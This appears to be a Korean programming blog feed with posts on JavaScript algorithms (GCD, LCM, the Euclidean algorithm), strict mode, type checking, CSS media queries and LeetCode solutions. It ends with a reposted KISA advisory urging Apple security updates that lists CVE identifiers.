SecuIT

[ALG] 유클리드 호제법(Euclidean algorithm)

SecuIT — Mon, 12 Dec 2022 10:00:49 +0900

유클리드 호제법이란?

유클리드 호제법(-互除法, Euclidean algorithm) 또는 유클리드 알고리즘은 2개의 자연수 또는 정식(整式)의 최대공약수를 구하는 알고리즘의 하나이다. 유클리드 호제법을 정리하기 전, 최대공약수와 최소공배수의 개념을 먼저 정리 후 단계를 밟아가자.

최대공약수(GCD)

두 수 이상의 여러 수의 공통된 약수를 의미하며, 두 수 이상의 여러 수의 공약수 중 최대인 수를 가리킨다.

//최대 공약수
let num1 = 30;
let num2 = 18;

let gcd = 1;
let cdArr = [1, ];

let funcGCD = (nu1, nu2) => {
    for (let i=2; i<=Math.min(nu1, nu2); i++) { 
        //두 수의 공통된 약수를 찾아야 하기에 두 수중, 작은 값을 기준으로 한다.
        if (nu1 % i === 0 && nu2 % i === 0) { 
            //for문을 수행하며 nu1, nu2의 나머지가 0이 되었다는 것은 두 수의 공통된 약수를 의미한다.
            gcd = i; //최대공약수

            cdArr.push(gcd); //공약수 배열
        }
    }
    return gcd;
}

funcGCD(num1, num2); // 6
cdArr; // [ 1, 2, 3, 6 ]

최소공배수(LCM)

공배수(common multiple)란 두 수 이상의 여러 수의 공통된 배수를 의미하며, 두 수 이상의 여러 수의 공배수 중 최소인 수를 가리킨다.

//최소 공배수
let num1 = 15;
let num2 = 10;

let lcm = 1;

let funcLCM = (nu1, nu2) => {
    while(true) { 
        //주어진 두 수의 공통된 배수를 구해야 하기 때문에, 배수를 찾은 즉시 break 되도록 설정한다.
        if (lcm % num1 === 0 && lcm % num2 === 0) { 
            //변수 lcm을 나눈 두 수의 나머지가 0일 때, 최소공배수이다.
            break;
        }
        lcm++; //조건문을 만족하지 않을 시, 값을 증가시키며 찾는다.
    }

    return lcm;
}

funcLCM(num1, num2); // 30

유클리드 호제법

호제법이란 말은 두 수가 서로(互) 상대방 수를 나누어(除)서 결국 원하는 수를 얻는 알고리즘이다.

2개의 자연수(또는 정식) a, b에 대해서 a를 b로 나눈 나머지를 r이라 하면(단, a>b), a와 b의 최대공약수는 b와 r의 최대공약수와 같다.

이 성질에 따라, b를 r로 나눈 나머지 r'를 구하고, 다시 r을 r'로 나눈 나머지를 구하는 과정을 반복하여 나머지가 0이 되었을 때 나누는 수가 a와 b의 최대공약수이다.

*정리하자면, GCD(num1, num2) = GCD(num2, r)이다.

r을 나머지라 가정하고 num1과 num2의 나머지는 GCD(num2, r)이 된다는 것이다.

//유클리드 호제법
let num1 = 24, 
    num2 = 16;

euclidean = (nu1, nu2) => {
    while(nu2 > 0) {
        // nu2이 0보다 클 때 조건이 성립되며, 주어진 두 수를 나누어 나머지를  
        let r = nu1 % nu2;
        nu1 = nu2;
        nu2 = r;
        //나머지 값을 변수 r에 넣어 스왑 과정을 진행한다.
    }

    return nu1;
}

euclidean(num1, num2); // 8

참고 사이트

유클리드 호제법 - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 유클리드 호제법(-互除法, Euclidean algorithm) 또는 유클리드 알고리즘은 2개의 자연수 또는 정식(整式)의 최대공약수를 구하는 알고리즘의 하나이다. 호제법이란

ko.wikipedia.org

[JavaScript] strict mode(엄격 모드) 왜 사용해야 할까?

SecuIT — Tue, 22 Nov 2022 10:59:32 +0900

strict mode란?

strict mode는 ES5(ECMA Script 5)에 추가된 키워드입니다.

출현 배경으로, 자바스크립트는 꽤나 긴 시간동안 호환성 이슈없이 새로운 기능이 추가되며 발전해왔습니다. 하지만 자바스크립트 창시자들이 했던 실수나 불완전한 결과물이 언어에 묻혀있었습니다.

ES5(ECMA Script 5)가 등장하며 새롭게 개정되고 기능이 추가되었습니다. 그렇지만 하위 호환성 문제가 생길 수 있기 때문에, ES5는 기본 모드에서는 동작하지 않도록 설계되었습니다.

strict mode를 활성화시에만 동작하며, 그동안 자바스크립트가 묵인했던 불완전한 코드들의 에러 메세지를 발생시켰습니다.

// 'use strict';

function test() {
    x = 10;
}

test();
console.log(x); // 10

엄격 모드를 사용하지 않았을 때, 출력 10이 된다. 변수를 선언하지 않았지만, 코드 에러가 분명한 상황에도 이를 묵인하고 정상적인 코드와 같이 동작하는 것을 볼 수 있다.

'use strict';

function test() {
    x = 10;
}

test();
console.log(x); // ReferenceError: x is not defined

엄격 모드를 사용하였을 때, x가 정의되지 않았다는 에러를 확인할 수 있다. 이렇게 코드를 엄격하게 검사하게 되어, 사전에 잘못된 개발 방향을 방지할 수 있다.

TypeScript

타입스크립트는 태생적 한계가 있는 자바스크립트를 극복하고자 대체 언어로 탄생했다.

클래스 기반 객체지향 언어(Java, C++, C# 등)와 같이 정적 타이핑을 지원하며, ES6(ECMAScript 2015)의 클래스, 모듈 등과 ES7의 Decorator 등을 지원한다.

이로써 디버그와 테스트 공수가 증가하는 등의 여러 문제들을 줄일 수 있게 되었다.

장점

장점으로 변수를 선언과 함수의 매개변수 타입을 지정함으로써 에러를 방지한다.

let num: number = 123; // number type define
let str: string = "123"; // string type define
let bool: boolean = true; // boolean type define

//매개변수 type define
function sum(a: number, b: number) {
  return a + b;
}

sum('x', 'y');
// error TS2345: Argument of type '"x"' is not assignable to parameter of type 'number'.

The starting point for learning TypeScript

Find TypeScript starter projects: from Angular to React or Node.js and CLIs.

www.typescriptlang.org

Strict mode | PoiemaWeb

ES5부터 strict mode가 추가되었다. strict mode는 자바스크립트 언어 문법을 보다 엄격히 적용하여 기존에는 무시되던 오류를 발생시킬 가능성이 높거나 자바스크립트 엔진의 최적화 작업에 문제를

poiemaweb.com

TypeScript - Intro & Install | PoiemaWeb

TypeScript 또한 AltJS의 하나로써 자바스크립트(ES5)의 Superset(상위확장)이다. C#의 창시자인 덴마크 출신 소프트웨어 엔지니어 Anders Hejlsberg(아네르스 하일스베르)가 개발을 주도한 TypeScript는 Microsoft

poiemaweb.com

[CT-L] 75. Sort Colors

SecuIT — Tue, 22 Nov 2022 09:16:19 +0900

문제 설명

Medium

빨간색, 흰색 또는 파란색으로 칠해진 n개의 객체가 있는 배열 nums가 주어지면 동일한 색상의 객체가 인접하도록 빨간색, 흰색, 파란색 순서로 색상을 정렬합니다.
정수 0, 1, 2를 사용하여 각각 빨간색, 흰색, 파란색을 나타냅니다.
라이브러리의 정렬 기능을 사용하지 않고 이 문제를 해결해야 합니다.(sort 함수를 사용 x)

**문제에서 요구하는 풀이는 정수 0, 1, 2가 주어지는데 빨간색, 흰색, 파란색이다. 해당 순서대로 정렬을 하는 것으로 오름차순으로 정렬 후 반환하는 것. 하지만 sort() 함수를 사용하지 않고 해결하는 것이 포인트이다.

접근

var sortColors = function(nums) {
    let temp;
    for (let i=0; i<nums.length; i++) {
        for (let j=i+1; j<nums.length; j++) {
        	//for문의 시작 지점으로 nums[i]와 nums[i+1]을 비교한다. nums[i]가 더 클때,
            if (nums[i] > nums[j]) {
            	//temp 변수에 nums[i]를 저장하고, nums[i]에 nums[i+1] 값을 넣고, 
                //nums[i+1]에 저장해두었던 temp 값을 넣는다.
                temp = nums[i];
                nums[i] = nums[j];
                nums[j] = temp;
            }
        }
    }
}

정렬 과정 출력

nums = [2,0,2,1,1,0]

1. [ 0, 2, 2, 1, 1, 0 ]
2. [ 0, 2, 2, 1, 1, 0 ]
3. [ 0, 2, 2, 1, 1, 0 ]
4. [ 0, 2, 2, 1, 1, 0 ]
5. [ 0, 2, 2, 1, 1, 0 ]
6. [ 0, 2, 2, 1, 1, 0 ]
7. [ 0, 1, 2, 2, 1, 0 ]
8. [ 0, 1, 2, 2, 1, 0 ]
9. [ 0, 0, 2, 2, 1, 1 ]
10. [ 0, 0, 2, 2, 1, 1 ]
11. [ 0, 0, 1, 2, 2, 1 ]
12. [ 0, 0, 1, 2, 2, 1 ]
13. [ 0, 0, 1, 2, 2, 1 ]
14. [ 0, 0, 1, 1, 2, 2 ]
15. [ 0, 0, 1, 1, 2, 2 ]

Sort Colors - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 49. Group Anagrams

SecuIT — Tue, 22 Nov 2022 08:50:38 +0900

문제 설명

Medium

문자열 strs의 배열이 주어지면 애너그램을 함께 그룹화합니다. 어떤 순서로든 답변을 반환할 수 있습니다.
애너그램은 일반적으로 모든 원래 문자를 정확히 한 번만 사용하여 다른 단어나 구의 문자를 재배열하여 형성된 단어 또는 구입니다.

**문제에서 요구하는 풀이는 제시된 strs 배열의 요소들이 애너그램(문자 재배열)을 하여도 같은 종류들을 분류하여 배열화한다. 그리고 분류된 배열 내에서 문자열 오름차순으로 정렬하여 반환한다.

접근

var groupAnagrams = function(strs) {
    let map = {}
    let result = [];
    
    for (let word of strs) {
    	//배열에 내 각 요소에 접근하여 모든 문자열들을 오름차순하여 anagram 변수에 넣는다.
        //ex) ['aet', 'aet', 'ant', 'aet', 'ant', 'abt']
        const anagram = word.split("").sort().join("");
        
        //조건식을 통해 종류별로 구분하여, true 시 anagram 변화 전 word를 push 한다.
        //ex) {aet: ['eat', 'tea', 'ate'], ant: ['tan', 'nat'], abt: ['bat']}
        map[anagram] ? map[anagram].push(word) : map[anagram] = [word];
    }
    
    //result 배열에 객체 키 내 값인 배열을 문자열 오름차순 정렬, unshift하여 반환한다.
    //ex) [['bat'], ['nat', 'tan'], ['ate', 'eat', 'tea']]
    for (let val in map) {
        result.unshift(map[val].sort());
    }

    return result;
};

Group Anagrams - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 347. Top K Frequent Elements

SecuIT — Mon, 21 Nov 2022 16:51:31 +0900

문제 설명

Medium

정수 배열 nums와 정수 k가 주어지면 가장 빈도가 높은 k개의 요소를 반환합니다.
어떤 순서로든 답변을 반환할 수 있습니다.

**문제에서 요구하는 풀이는 제시된 nums 배열의 요소들의 개수를 구하고 개수의 큰 수를 기준으로 반환하는 것이다.

변수 k는 반환할 배열의 요소 개수이다.

접근

var topKFrequent = function(nums, k) {
    let numObj = {}
    nums.forEach((v, idx) => {
    	//배열을 요소들을 종류별로 고유 키를 설정하며, 키에 해당되는 값의 개수를 증가시켜 numObj 객체에 할당한다.
        nums.indexOf(v) !== undefined ? numObj[v] = (numObj[v] || 0)+1  : null;
    });
    
    let tempArr = [];
    let result = [];
    
    //객체의 key 값이 중복으로 사용되는 것이 아니므로 값의 큰 수 대로 정렬을 하기위해, 1번째로 [키 값, 개수 값]으로 배열화하였다.
    for (let numb in numObj) {
        tempArr.push([numb, numObj[numb]]);
    }

	//개수의 값 기준으로 내림차순 정렬을 하였다.
    tempArr.sort((a,b) => b[1]-a[1]);
    
    //정렬된 배열을 이용해 제시된 변수 k까지 result 배열에 push하여 반환하였다.
    for (let i=0; i<k; i++) {
        result.push(Number(tempArr[i][0]));
    }
    
    return result;
};

Top K Frequent Elements - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 88. Merge Sorted Array

SecuIT — Mon, 21 Nov 2022 15:18:46 +0900

문제 설명

Easy

감소하지 않는 순서로 정렬된 두 개의 정수 배열 nums1 및 nums2가 제공된다.
각각 nums1 및 nums2의 요소 수를 나타내는 두 개의 정수 m 및 n이 제공됩니다.
nums1과 nums2를 감소하지 않는 순서로 정렬된 단일 배열로 병합합니다.
최종 정렬된 배열은 함수에 의해 반환되지 않고 대신 배열 nums1 내부에 저장되어야 합니다. 이를 수용하기 위해 nums1의 길이는 m + n입니다.
여기서 첫 번째 m 요소는 병합해야 하는 요소를 나타내고 마지막 n 요소는 0으로 설정되므로 무시해야 합니다. nums2의 길이는 n입니다.

**문제에서 요구하는 풀이는 새로운 배열을 생성하지 않고, 제시된 nums1과 nums2의 배열만을 이용하여 풀이를 해야하며 Output은 nums1 배열로 한다.

그리고 반환되는 nums1의 길이는 m+n이라 제시되었으니, nums1 = [1, 2, 3, 0, 0, 0]에 있는 인수 0을 nums2 배열의 인수로 변경해서 넣고 최종 요구사항인 오름차순으로 정렬하여 반환해야한다.

접근

var merge = function(nums1, m, nums2, n) {
    let cnt = 0;
    
    //for문을 통해 nums1 배열 내 요소에 하나씩 접근한다.
    for (let i=0; i<nums1.length; i++) { 
    	//현재 들어있는 인수 외 0에 접근해야 하므로 배열 길이인 변수 m을 이용하여, i >= m 조건을 설정한다.
        if (i >= m) {
        	//예로 m이 3이라면, 4번째 ~ 6번째 인수를 nums2의 1번째 ~ 3번째 인수로 splice 함수를 통해 변경한다.
            nums1.splice(i,1, nums2[cnt]);
            cnt++;
        }
    }
    
    //최종적인 형태는 오름차순으로 배열 정렬하여 반환한다.
    return nums1.sort((a,b) => a-b);
};

Merge Sorted Array - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 215. Kth Largest Element in an Array

SecuIT — Mon, 21 Nov 2022 14:55:16 +0900

문제 설명

Medium

정수 배열 nums와 정수 k가 주어지면 배열에서 k번째로 큰 요소를 반환합니다.
k번째 개별 요소가 아니라 정렬된 순서에서 k번째로 큰 요소입니다.
O(n) 시간 복잡도로 풀어야 합니다.

**문제에서 요구하는 풀이는 nums의 배열에서 제시된 k번째로 큰 수를 구하면 된다.

접근

var findKthLargest = function(nums, k) {
//크기별 큰 수를 순서를 구해야 하기 때문에 내림차순으로 배열을 정렬시킨다.
    nums = nums.sort((a, b) => b-a);

// 정렬 후, 배열은 0부터 시작하므로 제시된 k에 -1을 하여 값을 반환한다.
    return nums[k-1];
};

솔직히 Medium 문제는 아닌 것 같다...

Kth Largest Element in an Array - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 122. Best Time to Buy and Sell Stock II

SecuIT — Mon, 21 Nov 2022 14:15:17 +0900

문제 설명

Medium

price[i]가 i번째 날의 주어진 주식 가격인 정수 배열 price가 주어집니다.
매일 주식을 매수 및/또는 매도하기로 결정할 수 있습니다.
언제든지 최대 한 주식만 보유할 수 있습니다. 단, 매수 후 당일 매도가 가능합니다.
달성할 수 있는 최대 이익을 찾아 반환해보자

Example : 2일에 매수(가격 = 1)하고 3일에 매도(가격 = 5), 이익 = 5-1 = 4.
그런 다음 4일째에 매수하고(가격 = 3) 5일째에 매도합니다(가격 = 6), 이익 = 6-3 = 3.
총 이익은 4 + 3 = 7입니다.
Example : 1일에 매수(가격 = 1)하고 5일에 매도(가격 = 5), 이익 = 5-1 = 4.
총 이익은 4입니다.
Example : 플러스 수익을 낼 수 있는 방법이 없으므로 최대 수익 0을 달성하기 위해 주식을 사지 않습니다.

**문제에서 요구하는 풀이는 price[i] 배열을 지나가며,모든 연속 거래에서 얻은 이익을 계속 추가하는 것이다. 만약 i > i-1일 때, price[i] - price[i-1]을 통해 이익을 누적하여 문제를 해결한다.

접근

var maxProfit = function(prices) {
    let result = 0; //누적할 변수
    
    for (let i=1; i<prices.length; i++) {
    	//배열의 2번째 인수와 1번째 인수를 비교한다.
        if (prices[i] > prices[i-1]) {
        	//2번째 인수가 1번째 인수보다 클 때, 차의 값을 result 변수에 누적시킨다.
            result += prices[i] - prices[i-1];
        }
    }
    
    return result;
};

Best Time to Buy and Sell Stock II - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[JavaScript] 타입 체크의 필요성

SecuIT — Sun, 20 Nov 2022 23:11:49 +0900

타입 체크가 왜 필요할까?

개발 중 항상 직면하는 문제는 바로 type error이다. 가장 흔하면서도 중, 대규모 개발에서는 많은 코드가 연동하기 때문에, 초기 단계부터 중, 후반까지 항상 체크하고 정리 해야한다.

자바스크립트는 동적 타입(dynamic typed) 언어이므로 변수에 어떤 값이 할당될 지 예측이 힘들기 때문에 변수 및 함수에는 주석 기입을 필수로 해야 공동 개발자들이나 나에게 오류를 방지할 수 있게 해준다.

function sum(a, b) {
  return a + b;
}

한가지 예로, 해당 sum 함수는 Number 타입의 a, b 인수를 넣어 2개의 인수를 더해 반환하는 것으로 추측된다.

하지만 정확히 어떠한 타입의 인수가 들어가는지 한눈에 확인을 할 수 없기 때문에, 타입을 기입한다면 개발에서나 유지보수에서나 어떠한 개발자가 코드를 확인하여 작업하더라도 수월할 수 있다.

function sum(a, b) {
  // a, b - Number 타입의 인수
  
  return a + b;
}

타입 체크 방법

타입체크에는 크게 2가지 방법으로 체크가 가능하다.

1. typeof

타입 연산자(Type Operator) typeof는 피연산자의 데이터 타입을 문자열로 반환하는 기능을 가지고있다.

console.log(typeof 42);
// expected output: "number"

console.log(typeof 'blubber');
// expected output: "string"

console.log(typeof true);
// expected output: "boolean"

console.log(typeof NaN);
// expected output: "number"

console.log(typeof function () {});
// expected output: function

console.log(typeof undefined);
// expected output:undefined

2. Object.prototype.toString

Object.prototype.toString 메소드는 객체를 나타내는 문자열을 반환하고,

Function.prototype.call 메소드를 사용하면 모든 타입의 값의 타입을 알아낼 수 있다.

고로 같이 조합해서 사용하여, 타입을 반환할 수 있다.

var obj = new Object();
console.log(obj.toString());
// "[object Object]"

Object.prototype.toString.call('');		// [object String]
Object.prototype.toString.call(1);			// [object Number]
Object.prototype.toString.call(NaN);		// [object Number]
Object.prototype.toString.call(Infinity);		// [object Number]
Object.prototype.toString.call(true);		// [object Boolean]
Object.prototype.toString.call(undefined);		// [object Undefined]
Object.prototype.toString.call();			// [object Undefined]
Object.prototype.toString.call(null);		// [object Null]
Object.prototype.toString.call([]);		// [object Array]
Object.prototype.toString.call({});		// [object Object]
Object.prototype.toString.call(new Date());	// [object Date]
Object.prototype.toString.call(Math);		// [object Math]
Object.prototype.toString.call(/test/i);		// [object RegExp]

하지만 위와 반환이 된다면 실무에서는 다용도로 사용하기 어려울 것으로 예상되므로 함수를 제작하여 사용하는 것이 좋아 보인다.

function getType(tnum) {
    return Object.prototype.toString.call(tnum).slice(8, -1);
}
//[object ^Number^]

getType('');		// String
getType(1);		// Number
getType(true);		// Boolean
getType(undefined);	// Undefined
getType(null);		// Null
getType({});		// Object
getType([]);		// Array

메서드는 문자열로 반환되므로 해당 문자열을 slice 함수를 통해 "[object "를 잘라내고 맨 끝의 "]"를 잘라내어 타입만 반환하도록 한다.

중요포인트

실무의 활용

위와 같은 타입 체크 함수를 활용하여 초기 명확하지 타입 기제를 하지 않았던 sum 함수를 통해 만들어보았다.

function sum(a, b) {
	// a, b - Number 타입 인수

    // a와 b가 number 타입 체크
    if (getType(a) !== 'Number' || getType(b) !== 'Number') {
        return 'Type error';
    }
    return a + b;
}

console.log(sum(1, 2));   // 3
console.log(sum('1', 2)); // TypeError

typeof - JavaScript | MDN

typeof 연산자는 피연산자의 평가 전 자료형을 나타내는 문자열을 반환합니다.

developer.mozilla.org

Type Checking | PoiemaWeb

자바스크립트는 동적 타입(dynamic typed) 언어이므로 변수에 어떤 값이 할당될 지 예측하기 어렵다. 아래 코드를 살펴보자.

poiemaweb.com

[CT-L] 1480. Running Sum of 1d Array

SecuIT — Mon, 14 Nov 2022 23:55:53 +0900

문제 설명

Easy

주어진 배열 숫자. 배열의 누적 합계를 runningSum[i] = sum(nums[0]…nums[i])로 정의합니다.
num의 누계를 반환합니다.

접근

첫번째.

var runningSum = function(nums) {
    let result = nums.map((val, idx)=>{
        let sum = 0;
        for (let i=0; i<=idx; i++) {
            sum += nums[i];
        }
        return sum;
    });
    
    return result;
};

순차적인 sum 값을 배열 안에 삽입해야하므로, index로 나타내보면 [0, 0+1, 0+1+2, 0+1+2+3, ...] 으로 진행된다.
for문의 마지막 값을 idx로 증가시켜 sum 값을 map에 return 시켰다.

후기.

간단한 로직이었지만, map 이외에 좀 더 효율적인 방법을 강구해봐야겠다.

Running Sum of 1d Array - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 692. Top K Frequent Words

SecuIT — Mon, 14 Nov 2022 23:47:53 +0900

문제 설명

Medium

문자열 배열 단어와 정수 k가 주어지면 가장 자주 사용되는 k 문자열을 반환합니다.
가장 높은 빈도에서 가장 낮은 빈도로 정렬된 답변을 반환합니다. 빈도가 같은 단어를 사전순으로 정렬합니다.

접근

첫번째.

var topKFrequent = function(words, k) {
    let obj = {}
    let result = []
    words.forEach((val, idx)=>{
        if (obj[val] === undefined) {
            obj[val] = (obj[val] | 0) + 1;
        } else {
            obj[val] = obj[val] + 1;
        }
    });
    
    let max = 0;
    let sortable = []
    
    for (var name in obj) {
        if (max <= obj[name]) {
            max = obj[name];
        }
        sortable.push([name, obj[name]]);
    }
};

forEach 함수를 이용해 obj = { i: 2, love: 2, leetcode: 1, coding: 1 } 오브젝트의 개수를 찾는다.
오브젝트 value 값을 기준으로 [ [ 'i', 2 ], [ 'love', 2 ], [ 'leetcode', 1 ], [ 'coding', 1 ] ] 내림차순 정렬한다.
개수 k 를 기준으로 for문 통해 리턴한다.
하지만... 결국 풀지 못했다. (조건 중. 가장 높은 빈도 + name이 사전순으로 정렬되어야 한다.)

두번째.

var topKFrequent = function(words, k) {
    let obj = {}
    words.forEach((val, idx)=>{
        if (obj[val] === undefined) {
            obj[val] = (obj[val] | 0) + 1;
        } else {
            obj[val] = obj[val] + 1;
        }
    });
    
    const result = Object.keys(obj).sort((a, b) =>
        obj[a] == obj[b] ? (a < b ? -1 : 1) : obj[a] > obj[b] ? -1 : 1
    );
    
  return result.slice(0, k);
};

forEach 함수를 이용해 obj = { i: 2, love: 2, leetcode: 1, coding: 1 } 오브젝트의 개수를 찾는다.
sort 함수를 통해 조건을 2개 넣는다.
obj[a] == obj[b] 가 같으면 val 값 내림차순 그리고, (a < b) 즉 사전적 정렬 오름차순으로 정렬한다.
그리고 obj[a] != obj[b] 가 같지 않으면, val 값 오름차순으로 정렬한다.

후기.

hashmap + sorting 문제로, obj key를 이용한 정렬이 실무에서도 아주 유용하게 쓰일 것으로 생각되며, 함수들의 case들을 많이 접하고 복습해야겠다.

Top K Frequent Words - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[CT-L] 11. Container With Most Water

SecuIT — Mon, 14 Nov 2022 21:58:53 +0900

문제 설명

Medium

길이가 n인 정수 배열 높이가 제공되며, i번째 선의 두 끝점이 (i, 0) 및 (i, height[i])가 되도록 n개의 수직선이 그려집니다.
컨테이너에 가장 많은 물이 포함되도록 x축과 함께 컨테이너를 형성하는 두 개의 선을 찾으십시오.
컨테이너가 저장할 수 있는 최대 물의 양을 반환합니다.

접근

첫번째.

var maxArea = function(height) {
    let result = [];
    
    for (let i=0; i<height.length-1; i++) {
        for (let j=i; j<height.length-1; j++) {
            if (height[i] < height[j+1]) {
                result.push(height[i] * (j-i+1));
            } else {
                result.push(height[j+1] * (j-i+1));
            }
        }
    }
    
    return Math.max.apply(null, result);
};

for 문을 2번 돌아 모든 넓이 값을 result 배열안에 push 한 후, Max 함수를 이용하여 가장 큰 넓이를 반환했다.
하지만 런타임 에러 발생... 좀 더 효율적인 로직을 구성해야만 했다.

두번째.

var maxArea = function(height) {
    let result = 0;
    
    for (let i=0; i<height.length; i++) {
        for (let j=i+1; j<height.length; j++) {
            result = Math.max(result, Math.min(height[j], height[i]) * (j - i));
            // console.log(result);
        }
    }
    
    return result;
};

result 초기 값 0으로 설정 후, for 문을 2번 돌아 모든 넓이 값을 구하면서, result 값을 Max 함수로 비교해가면 넓이 값을 교체하였다.
하지만 런타임에러... 다시 좀 더 효율적인 코드가 필요하다.

세번째.

var maxArea = function(height) {
    const n = height.length;
    
    let max = 0;
    let left = 0;
    let right = n - 1;
    
    while (left < right) {
        const area = (right - left) * Math.min(height[left], height[right]);
        
        max = Math.max(max, area);
        
        if (height[left] < height[right]) left++;
        else right--;
    }
    
    return max;
};

좌, 우 끝에서부터 접근하여, 2번의 for 문을 사용하지 않고 Max 함수를 사용하여 큰 넓이 값으로 교체하며 접근한다.
좌측 높이가 우측 높이보다 작을 경우 left 증가, 우측이 높을 경우 right 감소를 하여 최단 접근을 할 수 있게된다.

후기.

문제에서 주어진 값들을 순차적으로만 찾으려 하지않고, 최단 접근을 할 수 있도록 연습해야겠다.

Container With Most Water - LeetCode

Level up your coding skills and quickly land a job. This is the best place to expand your knowledge and get prepared for your next interview.

leetcode.com

[JavaScript] 날짜와 시간을 어떻게 구해야 할까?

SecuIT — Sun, 13 Nov 2022 22:16:43 +0900

1. 객체 생성

실시간 날짜와 시간을 가져오기 위해서는 제일 먼저 Date 객체를 만드는 것이 선행되어야 합니다.

그리고 객체 내 담겨있는 정보들을 여러가지 Date 메서드를 통해 반환시켜야 합니다.

2. 다양한 메서드

수 많은 Date 메서드가 존재하나, 기본적으로 자주 사용되며 활용성이 높은 것들 위주로 정리 해보았다.

연도 / 월 / 일 / 요일

Date.prototype.getFullYear() : 주어진 날짜의 현지 시간 기준 연도를 반환합니다.
Date.prototype.getMonth() : 주어진 날짜의 현지 시간 기준 월을 반환합니다. (0 ~ 11 : 0부터 시작하므로 1을 더하여 처리 해주어야 한다.)
Date.prototype.getDate() : 주어진 날짜의 현지 시간 기준 일을 반환합니다. (0 ~ 31)
Date.prototype.getDay() : 주어진 날짜의 현지 시간 기준 요일을 반환합니다.(0 ~ 6 : 0은 일요일입니다.)

시 / 분 / 초

Date.prototype.getHours() : 주어진 날짜의 현지 시간 기준 시를 반환합니다. (0 ~ 23)
Date.prototype.getMinutes() : 주어진 날짜의 현지 시간 기준 분을 반환합니다. (0 ~ 59)
Date.prototype.getSeconds() : 주어진 날짜의 현지 시간 기준 초를 반환합니다. (0 ~ 59)

중요포인트

3. 메서드의 활용

이제 위의 메서드를 통해 실무에서 어떻게 활용을 할까를 고민해보았다.

현재 모두 Number 값으로 반환이 되니, 이것을 (0 => 일요일) 등으로 변경 해보자.

추가적으로 실시간을 구현하고 싶다면

setInterval()을 통하여 1초마다 한번 노출될 수 있도록 한다면 구현이 가능하다.

[CSS] Media Query - 미디어 쿼리의 예시와 활용

SecuIT — Sun, 6 Nov 2022 12:18:19 +0900

Media Query 란?

디바이스의 유형이나, 어떤 특성과 수치(화면 해상도, 뷰포트 너비)에 따라

웹과 앱의 스타일을 유동적으로 변경하고 싶을 때 사용

사용방법

미디어쿼리 사용방법에는 크게 2가지가 있습니다. 하기 내용과 같이 사용을 원하는 페이지 및 조건에 의해 활용을 달리할 수 있습니다.

1. Link 태그를 통해 사용

<link rel="stylesheet" media="screen and (max-width: 360px)" href="style.css">

Link 태그 내 media 내 조건을 삽입하여 성립 시, css 파일이 실행이 된다.

설정한 조건과 같이 최대 360px 까지의 가로 사이즈 내에서만 작동되는 것을 확인할 수 있다.

[최대 사이즈 이탈]

360px 이상 사이즈

360px 이하 사이즈

2. CSS 코드를 통해 직접 적용 방식

@media only screen and (max-width: 700px) {
  * { background-color: pink;}
}

@media only screen and (max-width: 500px) {
  * { background-color: red;}
}

@media only screen and (max-width: 360px) {
  * { background-color: blue;}
}

상기 예시 코드의 의미를 풀어보면,

가로사이즈 최대 360px 까지는 Blue 색상, 최대 500px 까지는 Red 색상, 최대 700px 까지는 Pink 색상으로 반영이다.

여기서 중요 포인트

코드는 항상 하향식이기 때문에, 조건의 가로사이즈는 큰 사이즈부터 작은 사이즈로 배치하여 반영하여야 정상적으로 코드가 반영이 된다.

@media only screen and (max-width: 360px) {
  * { background-color: blue;}
}

@media only screen and (max-width: 700px) {
  * { background-color: pink;}
}

@media only screen and (max-width: 500px) {
  * { background-color: red;}
}

상기 예시 코드의 의미를 풀어보면,

가로사이즈 최대 500px 까지는 Red 색상, 최대 700px 까지는 Pink 색상, 최대 360px 까지는 Blue 색상으로 반영이다.

만약 조건의 가로사이즈 크기 배치가 제대로 이루어지지 않는다면, 정상적으로 동작하지 못하게 된다.

제일 첫번째 최대 360px의 조건이 아래 700px과 500px의 조건에 의해 무시가 되기 때문이다.

다양한 미디어쿼리 형태

@media screen and (orientation: portrait) {
/* Portrait - 세로모드 */
}

@media screen and (orientation: landscape) {
/* Landscape - 가로모드 */
}

@media (min-width: 30em) and (orientation: landscape) { ... }

@media not all and (monochrome) { ... }

참고 사이트

미디어 쿼리 사용하기 - CSS: Cascading Style Sheets | MDN

미디어 쿼리는 단말기의 유형(출력물 vs. 화면)과, 어떤 특성이나 수치(화면 해상도, 뷰포트 너비 등)에 따라 웹 사이트나 앱의 스타일을 수정할 때 유용합니다.

developer.mozilla.org

Media Queries in CSS. How do They Work? • Silo Creativo

The CSS Media Queries is the basic tool for getting a responsive web design based on Mobile First. We show you how the code works.

www.silocreativo.com

[U-Notice] 08. Apple 제품군 보안 업데이트 권고

SecuIT — Mon, 20 Jul 2020 09:21:25 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

Apple 제품군 보안 업데이트 권고

□ 개요

o Apple社는 자사 제품에서 발생하는 취약점을 해결한 보안 업데이트 발표[1]
o 공격자는 취약점을 악용하여 피해를 발생시킬 수 있으므로, 해당 Apple 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고

□ 설명

o MacOS Catalina에서 메모리의 경계값을 벗어난 읽기로 인해 발생하는 임의코드실행 취약점(CVE-2020-9799) 등 19개 [2]
o watchOS에서 메모리 경계값을 벗어난 쓰기로인해 발생하는 임의코드실행 취약점(CVE-2020-9936) 등 19개 [3]
o tvOS에서 메모리 충돌로 인해 발생하는 임의코드실행 취약점(CVE_2020-9907) 등 20개 [4]
o iOS 및 iPadOS에서 버퍼오버플로우로 인해 발생하는 임의코드실행 취약점(CVE-2020-9878) 등 29개 [5]
o 사파리 앱에서 use after free로 인해 발생하는 임의코드 실행 취약점(CVE-2020-9893) 등 11개 [6]

